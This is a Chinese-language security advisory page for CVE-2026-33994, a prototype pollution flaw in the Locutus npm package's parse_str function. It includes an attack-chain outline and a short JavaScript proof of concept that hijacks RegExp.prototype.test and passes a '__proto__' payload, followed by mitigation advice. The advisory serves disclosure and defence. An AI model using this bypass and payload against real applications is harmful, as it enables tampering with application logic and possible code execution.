IPBUF安全漏洞报告
English
CVE-2026-33994 CVSS 9.8 严重

CVE-2026-33994 Locutus原型污染漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33994
漏洞类型
原型污染
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Locutus (npm package)

相关标签

原型污染CVE-2026-33994LocutusJavaScriptRCEnpm

漏洞概述

Locutus是一个旨在为JavaScript提供其他编程语言标准库的npm包。在2.0.39至3.0.25之前的版本中,其`parse_str`函数存在严重的原型污染漏洞。攻击者可以通过覆盖`RegExp.prototype.test`并传递特制的查询字符串来绕过原型污染保护机制,进而污染`Object.prototype`。该漏洞源于对CVE-2026-25521的不完整修复,将原本基于`String.prototype.includes`的守卫替换为`RegExp.prototype.test`,但后者同样可被劫持。建议用户尽快升级至安全版本以防止潜在攻击。

技术细节

该漏洞发生在Locutus库的`parse_str`函数中,属于典型的JavaScript原型污染漏洞。开发者在修复CVE-2026-25521时,试图通过引入安全守卫来防止恶意参数污染`Object.prototype`。原修复方案使用`String.prototype.includes`进行检查,但因其可被劫持而存在缺陷。新的补丁尝试使用`RegExp.prototype.test`作为替代方案。然而,JavaScript中的`RegExp.prototype.test`本身是一个可写的原型方法。攻击者可以先劫持`RegExp.prototype.test`函数,使其返回预期的假阳性结果(例如始终返回false),从而绕过新建立的安全检查。随后,当攻击者向`parse_str`函数传入精心构造的查询字符串(如`__proto__[payload]=value`)时,由于守卫机制失效,恶意属性将被成功添加到`Object.prototype`上。这种原型污染可能导致应用程序逻辑被篡改,甚至引发远程代码执行等严重后果。

攻击链分析

STEP 1
Reconnaissance
识别目标应用是否使用了受影响版本的Locutus库(>= 2.0.39, < 3.0.25)。
STEP 2
Preparation
构造恶意JavaScript代码,覆盖`RegExp.prototype.test`方法以绕过安全检查。
STEP 3
Exploitation
向`parse_str`函数发送包含`__proto__`或`constructor`等关键字的特制查询字符串。
STEP 4
Impact
成功污染`Object.prototype`,可能导致应用程序拒绝服务、敏感信息泄露或远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33994: Prototype Pollution in Locutus parse_str // Step 1: Override RegExp.prototype.test to bypass the validation guard const originalTest = RegExp.prototype.test; RegExp.prototype.test = function(regexp) { // Return false to bypass the check looking for malicious patterns return false; }; // Step 2: Simulate importing the vulnerable function // const { parse_str } = require('locutus/php/strings'); // Step 3: Payload to pollute Object.prototype var payload = "__proto__[maliciousProperty]=true"; // Step 4: Execute vulnerable function // parse_str(payload); // Step 5: Check if pollution was successful if ({}.maliciousProperty === true) { console.log("CVE-2026-33994 Exploited Successfully: Object.prototype is polluted."); } else { console.log("Exploit failed."); } // Cleanup RegExp.prototype.test = originalTest;

影响范围

Locutus >= 2.0.39, < 3.0.25

防御指南

临时缓解措施
如果无法立即升级,应实施严格的输入过滤,拦截包含`__proto__`、`constructor`或`prototype`等关键字的字符串。此外,可以通过使用`Object.freeze(Object.prototype)`来防止原型被修改,但这可能会影响部分依赖原型动态修改的应用功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表